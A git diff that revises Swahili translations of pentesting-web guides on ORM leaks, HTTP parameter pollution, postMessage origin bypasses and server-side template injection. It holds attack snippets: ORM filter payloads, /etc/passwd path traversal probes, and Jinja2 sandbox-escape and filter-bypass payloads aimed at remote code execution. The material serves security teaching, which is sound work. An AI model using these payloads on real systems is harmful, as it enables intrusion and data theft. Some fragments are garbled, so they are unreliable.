uwezekano mdogo wa kurudi nyuma +- **MariaDB**: Haina muda wa kukatika wa regex ## Prisma ORM (NodeJS) -Ifuatayo ni [**hila zilizotolewa kutoka kwa chapisho hili**](https://www.elttam.com/blog/plorming-your-primsa-orm/). +Ifuatayo ni [**hila zilizochukuliwa kutoka posti hii**](https://www.elttam.com/blog/plorming-your-primsa-orm/). - **Udhibiti kamili wa kutafuta**: @@ -104,7 +104,7 @@ res.json([]); Inawezekana kuona kwamba mwili mzima wa javascript unapitishwa kwa prisma ili kufanya maswali. -Katika mfano kutoka kwa chapisho la asili, hii itakagua machapisho yote yaliyoundwa na mtu fulani (kila chapisho linaundwa na mtu fulani) ikirudisha pia taarifa za mtumiaji wa mtu huyo (jina la mtumiaji, nenosiri...) +Katika mfano kutoka kwa posti ya asili, hii itakagua machapisho yote yaliyoundwa na mtu fulani (kila chapisho linaundwa na mtu fulani) ikirudisha pia taarifa za mtumiaji wa mtu huyo (jina la mtumiaji, nenosiri...) ```json { "filter": { @@ -158,14 +158,14 @@ Ifuatayo inachagua machapisho yote yaliyoundwa na mtu mwenye nenosiri na itarudi ... ] ``` -- **Udhibiti kamili wa wapi**: +- **Udhibiti kamili wa kipengele cha where**: -Hebu tuangalie hii ambapo shambulio linaweza kudhibiti `wapi`: +Tuchunguze hii ambapo shambulio linaweza kudhibiti kipengele cha `where`:
app.get('/articles', async (req, res) => {
 try {
 const posts = await prisma.article.findMany({
-            where: req.query.filter as any // Vulnerable to ORM Leaks
+            where: req.query.filter as any // Inahatarisha kwa ORM Leaks
         })
 res.json(posts);
 } catch (error) {
@@ -257,7 +257,7 @@ Inawezekana pia kuvuja watumiaji wote wanaotumia uhusiano wa mzunguko wa wengi k
 }
 }
 ```
-- **Error/Timed queries**: Katika chapisho asilia unaweza kusoma seti kubwa sana ya majaribio yaliyofanywa ili kupata mzigo bora wa kuvuja taarifa kwa kutumia mzigo wa muda. Hii ni:
+- **Error/Timed queries**: Katika chapisho la awali unaweza kusoma seti kubwa ya majaribio yaliyofanywa ili kupata mzigo bora wa kuvuja habari kwa kutumia mzigo wa muda. Hii ni:
 ```json
 {
 "OR": [
@@ -275,7 +275,7 @@ Mahali ambapo `{CONTAINS_LIST}` ni orodha yenye nyuzi 1000 ili kuhakikisha **jib
 Hizi mbinu zilipatikana katika [**post hii**](https://positive.security/blog/ransack-data-exfiltration)**.**
 
 > [!TIP]
-> **Kumbuka kwamba Ransack 4.0.0.0 sasa inasisitiza matumizi ya orodha wazi ya ruhusa kwa sifa na ushirikiano unaoweza kutafutwa.**
+> **Kumbuka kwamba Ransack 4.0.0.0 sasa inasisitiza matumizi ya orodha ya ruhusa wazi kwa sifa na ushirikiano unaoweza kutafutwa.**
 
 **Mfano unaoweza kuathirika:**
 ```ruby
diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md
index edbf59cca..ee66952af 100644
--- a/src/pentesting-web/parameter-pollution.md
+++ b/src/pentesting-web/parameter-pollution.md
@@ -15,7 +15,7 @@ URL ya muamala wa programu ya benki:
 
 - **URL ya Asili:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
 
-Kwa kuingiza parameter ya ziada `from`:
+Kwa kuingiza vigezo vya ziada `from`:
 
 - **URL iliyobadilishwa:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
 
@@ -31,15 +31,15 @@ Muamala unaweza kuchajiwa kwa makosa kwa `accountC` badala ya `accountA`, ikiony
 **Kesi ya Ubadilishaji wa OTP:**
 
 - **Muktadha:** Mfumo wa kuingia unahitaji Nywila ya Muda Mmoja (OTP) ulitumiwa vibaya.
-- **Mbinu:** Kwa kukamata ombi la OTP kwa kutumia zana kama Burp Suite, washambuliaji waligundua parameter ya `email` katika ombi la HTTP.
+- **Mbinu:** Kwa kukamata ombi la OTP kwa kutumia zana kama Burp Suite, washambuliaji waligundua vigezo vya `email` katika ombi la HTTP.
 - **Matokeo:** OTP, iliyokusudiwa kwa barua pepe ya awali, ilitumwa badala yake kwa anwani ya pili ya barua pepe iliyotajwa katika ombi lililobadilishwa. Kasoro hii iliruhusu ufikiaji usioidhinishwa kwa kukwepa kipimo cha usalama kilichokusudiwa.
 
-Hali hii inaonyesha makosa muhimu katika nyuma ya programu, ambayo ilishughulikia parameter ya kwanza ya `email` kwa ajili ya uzalishaji wa OTP lakini ilitumia ya mwisho kwa ajili ya usambazaji.
+Hali hii inaonyesha makosa muhimu katika nyuma ya programu, ambayo ilishughulikia kigezo cha kwanza `email` kwa ajili ya uzalishaji wa OTP lakini ilitumia ya mwisho kwa ajili ya usambazaji.
 
 **Kesi ya Ubadilishaji wa Funguo za API:**
 
 - **Hali:** Programu inaruhusu watumiaji kubadilisha funguo zao za API kupitia ukurasa wa mipangilio ya wasifu.
-- **Njia ya Shambulio:** Mshambuliaji anagundua kwamba kwa kuongeza parameter ya ziada `api_key` kwenye ombi la POST, wanaweza kubadilisha matokeo ya kazi ya kubadilisha funguo za API.
+- **Njia ya Shambulio:** Mshambuliaji anagundua kwamba kwa kuongeza kigezo cha ziada `api_key` kwenye ombi la POST, wanaweza kubadilisha matokeo ya kazi ya kubadilisha funguo za API.
 - **Mbinu:** Kwa kutumia zana kama Burp Suite, mshambuliaji anaunda ombi ambalo lina vigezo viwili vya `api_key`: kimoja halali na kingine kibaya. Seva, ikishughulikia tu matukio ya mwisho, inasasisha funguo za API kwa thamani iliyotolewa na mshambuliaji.
 - **Matokeo:** Mshambuliaji anapata udhibiti juu ya utendaji wa API wa mwathirika, akipata au kubadilisha data binafsi bila idhini.
 
@@ -47,12 +47,12 @@ Mfano huu unasisitiza zaidi umuhimu wa kushughulikia vigezo kwa usalama, hasa ka
 
 ### Uchambuzi wa Vigezo: Flask vs. PHP
 
-Njia teknolojia za wavuti zinavyoshughulikia vigezo vya HTTP vilivyopigwa ni tofauti, ikikathiri uwezekano wao wa kushambuliwa na HPP:
+Njia teknolojia za wavuti zinavyoshughulikia vigezo vya HTTP vilivyopigwa marufuku inatofautiana, ikikathiri uwezekano wao wa kushambuliwa na HPP:
 
-- **Flask:** Inachukua thamani ya kwanza ya parameter iliyokutana, kama `a=1` katika mfuatano wa maswali `a=1&a=2`, ikipa kipaumbele mfano wa awali kuliko nakala zinazofuata.
-- **PHP (kwenye Apache HTTP Server):** Kinyume chake, inapa kipaumbele thamani ya mwisho ya parameter, ikichagua `a=2` katika mfano uliopewa. Tabia hii inaweza kwa bahati mbaya kuwezesha HPP kwa kuheshimu parameter iliyobadilishwa na mshambuliaji badala ya asili.
+- **Flask:** Inachukua thamani ya kigezo cha kwanza kilichokutana, kama vile `a=1` katika mfuatano wa maswali `a=1&a=2`, ikipa kipaumbele mfano wa awali kuliko nakala zinazofuata.
+- **PHP (katika Apache HTTP Server):** Kinyume chake, inapa kipaumbele thamani ya mwisho ya kigezo, ikichagua `a=2` katika mfano uliopewa. Tabia hii inaweza kwa bahati mbaya kuruhusu HPP kutumika kwa kuheshimu kigezo kilichobadilishwa na mshambuliaji badala ya asili.
 
-## Uharibifu wa vigezo kwa teknolojia
+## Uchafuzi wa vigezo kwa teknolojia
 
 Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
 
@@ -60,10 +60,10 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po
 
 

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg

-1. Puuza chochote baada ya %00 katika jina la parameter. +1. Puuza chochote baada ya %00 katika jina la kigezo. 2. Shughulikia jina\[] kama array. 3. \_GET haina maana ya Njia ya GET. -4. Pendelea parameter ya mwisho. +4. Pendelea kigezo cha mwisho. ### Ruby 3.3.5 na WEBrick 1.8.2 @@ -71,7 +71,7 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po 1. Inatumia vichungi & na ; kugawanya vigezo. 2. Haitaeleweka jina\[]. -3. Pendelea parameter ya kwanza. +3. Pendelea kigezo cha kwanza. ### Spring MVC 6.0.23 NA Apache Tomcat 10.1.30 @@ -81,7 +81,7 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po 2. POST RequestMapping & PostMapping Haitaeleweka jina\[]. 3. Pendelea jina ikiwa jina NA jina\[] vinapatikana. 4. Unganisha vigezo e.g. first,last. -5. POST RequestMapping & PostMapping Haitaeleweka parameter ya mfuatano na Content-Type. +5. POST RequestMapping & PostMapping Haitaeleweka kigezo cha swali chenye Content-Type. ### **NodeJS** 20.17.0 **NA** Express 4.21.0 @@ -95,28 +95,28 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

1. Haitaeleweka jina\[]. -2. Pendelea parameter ya kwanza. +2. Pendelea kigezo cha kwanza. ### Python 3.12.6 NA Werkzeug 3.0.4 NA Flask 3.0.3

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

1. Haitaeleweka jina\[]. -2. Pendelea parameter ya kwanza. +2. Pendelea kigezo cha kwanza. ### Python 3.12.6 NA Django 4.2.15

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

1. Haitaeleweka jina\[]. -2. Pendelea parameter ya mwisho. +2. Pendelea kigezo cha mwisho. ### Python 3.12.6 NA Tornado 6.4.1

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

1. Haitaeleweka jina\[]. -2. Pendelea parameter ya mwisho. +2. Pendelea kigezo cha mwisho. ## JSON Injection @@ -128,7 +128,7 @@ Mbele inaweza kuamini tukio la kwanza wakati nyuma inatumia tukio la pili la ufu ### Mkutano wa Ufunguo: Kukatwa kwa Wahusika na Maoni -Wahusika fulani hawatafasiriwa vizuri na mbele lakini nyuma itawatafsiri na kutumia ufunguo hao, hii inaweza kuwa na manufaa ili **kupita vizuizi fulani**: +Wahusika fulani hawatafasiriwa vizuri na mbele lakini nyuma watafasiri na kutumia ufunguo hao, hii inaweza kuwa na manufaa ili **kupita vizuizi fulani**: ```json {"test": 1, "test\[raw \x0d byte]": 2} {"test": 1, "test\ud800": 2} @@ -150,13 +150,13 @@ obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": ``` Hapa tutatumia serializer kutoka kila parser ili kuona matokeo yake. -Serializer 1 (kwa mfano, GoLang's GoJay library) itatoa: +Serializer 1 (kwa mfano, maktaba ya GoJay ya GoLang) itatoa: - `description = "Duplicate with comments"` - `test = 2` - `extra = ""` -Serializer 2 (kwa mfano, Java's JSON-iterator library) itatoa: +Serializer 2 (kwa mfano, maktaba ya JSON-iterator ya Java) itatoa: - `description = "Duplicate with comments"` - `extra = "/*"` diff --git a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md index 1bb8dd4c9..da6adeede 100644 --- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md +++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md @@ -90,13 +90,13 @@ $(ls) ``` ## Dangling Markup -### Basic Tests +### Majaribio Msingi ```markup

THIS IS AND INJECTED TITLE

``` -## [File Inclusion/Path Traversal](../file-inclusion/) +## [Ujumuishaji wa Faili/Kupita Njia](../file-inclusion/) -### Jaribio la Msingi +### Majaribio ya Msingi ```bash /etc/passwd ../../../../../../etc/hosts @@ -161,7 +161,7 @@ ${{7*7}} ``` ## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) -### Majaribio ya Msingi +### Jaribio la Msingi ```markup diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index a3deefec3..9e008113e 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -38,7 +38,7 @@ Ikiwa **wildcard** inatumika, **ujumbe unaweza kutumwa kwa domain yoyote**, na u ### Kushambulia iframe & wildcard katika **targetOrigin** -Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **chanzo** cha **iframe** na **kuvuja** ujumbe wa **nyeti** kwa domain inayodhibitiwa na wewe.\ +Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **chanzo** cha **iframe** na **kuvuja** **ujumbe wa nyeti** kwa domain inayodhibitiwa na wewe.\ Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini **targetOrigin** imewekwa kwa URL na sio kwa wildcard, **hila hii haitafanya kazi**. ```markup @@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return false ) ``` -Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa utafanya **chochote nyeti** na taarifa zilizopokelewa (kama kubadilisha nywila). **Ikiwa haichungii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu). +Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa utafanya **chochote nyeti** na taarifa iliyopokelewa (kama kubadilisha nenosiri). **Ikiwa haichungii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nenosiri za waathirika (katika mfano huu). ### Uhesabuji @@ -80,29 +80,29 @@ Ili **kupata wasikilizaji wa matukio** katika ukurasa wa sasa unaweza: ![](<../../images/image (618) (1).png>) -- **Nenda** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari +- **Nenda kwa** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari ![](<../../images/image (396).png>) - Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kukuonyesha. -### Kupita ukaguzi wa asili +### Mipango ya kuangalia asili -- **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kupita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani. -- Matumizi ya **`indexOf()`** kwa uthibitishaji wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni: +- **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kuipita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani. +- Matumizi ya **`indexOf()`** kwa uthibitisho wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni: ```javascript "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma") ``` -- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote isipokuwa regexp kunasababisha uongofu wa kimya kuwa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitishaji kwa maeneo yaliyoundwa kwa njia maalum. Kwa mfano: +- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote isipokuwa regexp kunasababisha uhamasishaji wa kimya wa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano: ```javascript "https://www.safedomain.com".search("www.s.fedomain.com") ``` - Kazi ya **`match()`**, kama `search()`, inashughulikia regex. Ikiwa regex imejengwa vibaya, inaweza kuwa na uwezekano wa kupita. -- Kazi ya **`escapeHtml`** inakusudia kusafisha ingizo kwa kukwepa wahusika. Hata hivyo, haizalishi kitu kipya kilichokwepwa bali inabadilisha mali za kitu kilichopo. Tabia hii inaweza kutumika. Haswa, ikiwa kitu kinaweza kubadilishwa kwa njia ambayo mali yake inayodhibitiwa haikubali `hasOwnProperty`, `escapeHtml` haitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini: +- Kazi ya **`escapeHtml`** inakusudia kusafisha ingizo kwa kukwepa wahusika. Hata hivyo, haizalishi kitu kipya kilichokwepwa bali inabadilisha mali za kitu kilichopo. Tabia hii inaweza kutumika. Haswa, ikiwa kitu kinaweza kubadilishwa kwa namna ambayo mali yake inayodhibitiwa haikubali `hasOwnProperty`, `escapeHtml` haitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini: - Kushindwa Kutarajiwa: @@ -126,9 +126,9 @@ Katika muktadha wa udhaifu huu, kitu cha `File` kinapatikana kwa urahisi kutokan ### e.origin == window.origin kupita -Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zao kwenye usalama na utendaji. +Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zake kwenye usalama na utendaji. -Kwa kuweka **`allow-popups`** katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya **`allow-popups-to-escape-sandbox`** pia imejumuishwa, asili ya dirisha la popup pia imewekwa kuwa `null`, ikilingana na asili ya iframe. +Kwa kuweka **`allow-popups`** katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya **`allow-popups-to-escape-sandbox`** pia iwepo, asili ya dirisha la popup pia imewekwa kuwa `null`, ikilingana na asili ya iframe. Kwa hiyo, wakati popup inafunguliwa chini ya hali hizi na ujumbe unatumwa kutoka iframe hadi popup kwa kutumia **`postMessage`**, pande zote za kutuma na kupokea zina asili zao zimewekwa kuwa `null`. Hali hii inasababisha hali ambapo **`e.origin == window.origin`** inathibitishwa kuwa kweli (`null == null`), kwa sababu iframe na popup zinashiriki thamani sawa ya asili ya `null`. @@ -147,7 +147,7 @@ if (received_message.source !== window) { return } ``` -Unaweza kulazimisha **`e.source`** ya ujumbe kuwa null kwa kuunda **iframe** inayotuma **postMessage** na kisha **kufutwa mara moja**. +Unaweza kulazimisha **`e.source`** ya ujumbe kuwa null kwa kuunda **iframe** inayotuma **postMessage** na ambayo **inafuta mara moja**. Kwa maelezo zaidi **soma:** @@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md ### X-Frame-Header bypass -Ili kutekeleza mashambulizi haya, kwa kawaida utahitaji **kueka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\ +Ili kutekeleza mashambulizi haya, kwa kawaida utakuwa na uwezo wa **kueka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini baadhi ya vichwa kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\ Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa sana. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo: ```markup "}}` inasababisha `<script>alert(1)</script>`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inachakata jibu ili kuzuia hili (kwa mfano, `{{""}}` inasababisha `<script>alert(1)</script>`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita uchakataji huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code @@ -968,20 +968,20 @@ out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` -**Maelezo Zaidi** +**Maelezo zaidi** - [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) - [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) -### Matukio Zaidi +### Maelezo Zaidi ya Uvunjaji -Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa matukio zaidi. Pia unaweza kupata habari za kuvutia kuhusu lebo katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) +Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa uvunjaji zaidi. Pia unaweza kupata habari za kuvutia kuhusu lebo katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %} -## Msaada Husika +## Msaada wa Kuunganishwa Ikiwa unafikiri inaweza kuwa na manufaa, soma: @@ -995,7 +995,7 @@ Ikiwa unafikiri inaweza kuwa na manufaa, soma: - [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) - [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) -## Orodha ya Ugunduzi wa Brute-Force +## Orodha ya Kugundua Brute-Force {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} diff --git a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md index 30b189c01..b04ca5e86 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md +++ b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md @@ -52,7 +52,7 @@ System.out.println(result); } } ``` -Kisha jumuisha msimbo (ikiwa huna `javac` iliyosanikishwa, sakinisha `sudo apt install default-jdk`): +Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`): ```java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java ``` @@ -65,13 +65,13 @@ Enter a String to evaluate: ``` Kumbuka jinsi katika mfano uliopita neno `{5*5}` lilivyo **kadiria**. -## **Mafunzo ya CVE** +## **Mafunzo ya Kulingana na CVE** Angalia katika **hiki chapisho:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) ## Payloads -### Vitendo vya msingi +### Vitendo vya Msingi ```bash #Basic string operations examples {"a".toString()} diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index b469ea76f..55a7366c7 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -23,7 +23,7 @@ app.run() ### **Taarifa ya Kurekebisha** -Ikiwa Kiendelezi cha Kurekebisha kimewezeshwa, lebo ya `debug` itapatikana ili kutoa muktadha wa sasa pamoja na filters na majaribio yanayopatikana. Hii ni muhimu kuona kile kinachopatikana kutumika katika kiolezo bila kuweka debugger. +Ikiwa Kiendelezi cha Kurekebisha kimewezeshwa, lebo ya `debug` itapatikana ili kutoa muktadha wa sasa pamoja na filters na majaribio yanayopatikana. Hii ni muhimu kuona nini kinapatikana kutumika katika kiolezo bila kuweka debugger. ```python
 
@@ -60,12 +60,12 @@ Ikiwa Kiendelezi cha Kurekebisha kimewezeshwa, lebo ya `debug` itapatikana ili k
 ```
 ## **Jinja Injection**
 
-Kwanza kabisa, katika Jinja injection unahitaji **kupata njia ya kutoroka kutoka kwenye sandbox** na kurejesha ufikiaji wa mtiririko wa kawaida wa utekelezaji wa python. Ili kufanya hivyo, unahitaji **kudhulumu vitu** ambavyo ni **kutoka** kwenye **mazingira yasiyo ya sandbox lakini yanapatikana kutoka kwenye sandbox**.
+Kwanza kabisa, katika Jinja injection unahitaji **kupata njia ya kutoroka kutoka kwenye sandbox** na kurejesha ufikiaji wa mtiririko wa kawaida wa utekelezaji wa python. Ili kufanya hivyo, unahitaji **kuitumia vibaya vitu** ambavyo ni **kutoka** kwenye **mazingira yasiyo ya sandbox lakini yanaweza kupatikana kutoka kwenye sandbox**.
 
 ### Accessing Global Objects
 
-Kwa mfano, katika msimbo `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwenye mazingira ya python yasiyo ya sandbox** na vitakuwa **vinapatikana** ndani ya **mazingira ya sandbox.**\
-Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **daima vinapatikana kutoka kwenye mazingira ya sandbox**, hivi ni:
+Kwa mfano, katika msimbo `render_template("hello.html", username=username, email=email)` vitu username na email **vinatoka kwenye mazingira ya python yasiyo ya sandbox** na vitakuwa **vinapatikana** ndani ya **mazingira ya sandboxed.**\
+Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa **daima vinapatikana kutoka kwenye mazingira ya sandboxed**, hivi ni:
 ```
 []
 ''
@@ -170,7 +170,7 @@ Ili kujifunza kuhusu **madarasa zaidi** ambayo unaweza kutumia ili **kuepuka** u
 #### Kupita kawaida
 
 Hizi kupita zitaturuhusu **kufikia** **sifa** za vitu **bila kutumia herufi fulani**.\
-Tayari tumeona baadhi ya hizi kupita katika mifano ya awali, lakini hebu tuziwekee muhtasari hapa:
+Tayari tumeshuhudia baadhi ya hizi kupita katika mifano ya awali, lakini hebu tuziwekee muhtasari hapa:
 ```bash
 # Without quotes, _, [, ]
 ## Basic ones
@@ -206,9 +206,9 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
 - [**Rudi hapa kwa chaguzi zaidi za kufikia darasa la kitu**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
 - [**Soma hii kupata RCE bila darasa la kitu**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
 
-**Kuepuka uandishi wa HTML**
+**Kuepuka usimbaji wa HTML**
 
-Kwa kawaida Flask huandika HTML ndani ya kiolezo kwa sababu za usalama:
+Kwa kawaida Flask huweka usimbaji wa HTML ndani ya kiolezo kwa sababu za usalama:
 ```python
 {{''}}
 #will be
@@ -250,7 +250,7 @@ Bila **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
 Kutoka kwa [**vitu vya kimataifa**](jinja2-ssti.md#accessing-global-objects) kuna njia nyingine ya kupata **RCE bila kutumia darasa hilo.**\
 Ikiwa utaweza kufikia **kazi** yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia **`__globals__.__builtins__`** na kutoka hapo **RCE** ni **rahisi** sana.
 
-Unaweza **kupata kazi** kutoka kwa vitu **`request`**, **`config`** na **vitu vingine vyote** vya kimataifa vya kuvutia ambavyo una ufikiaji navyo kwa:
+Unaweza **kupata kazi** kutoka kwa vitu **`request`**, **`config`** na **vitu vingine** vyote vya **kimataifa** vya kuvutia ambavyo una ufikiaji navyo kwa:
 ```bash
 {{ request.__class__.__dict__ }}
 - application
@@ -294,7 +294,7 @@ Mara tu umepata baadhi ya kazi unaweza kurejesha builtins kwa:
 ```
 ### Fuzzing WAF bypass
 
-**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) ni chombo ambacho kimebobea katika CTFs lakini pia kinaweza kuwa na manufaa katika kubruutuforce param za kutokubalika katika hali halisi. Chombo hiki kinapiga maneno na maswali ili kugundua filters, kutafuta bypasses, na pia kinatoa console ya mwingiliano.
+**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) ni chombo ambacho kimebobea katika CTFs lakini pia kinaweza kuwa na manufaa katika kubruutuforce param za kutokubalika katika hali halisi. Chombo hiki kinapiga maneno na maswali kugundua filters, kutafuta bypasses, na pia kinatoa console ya mwingiliano.
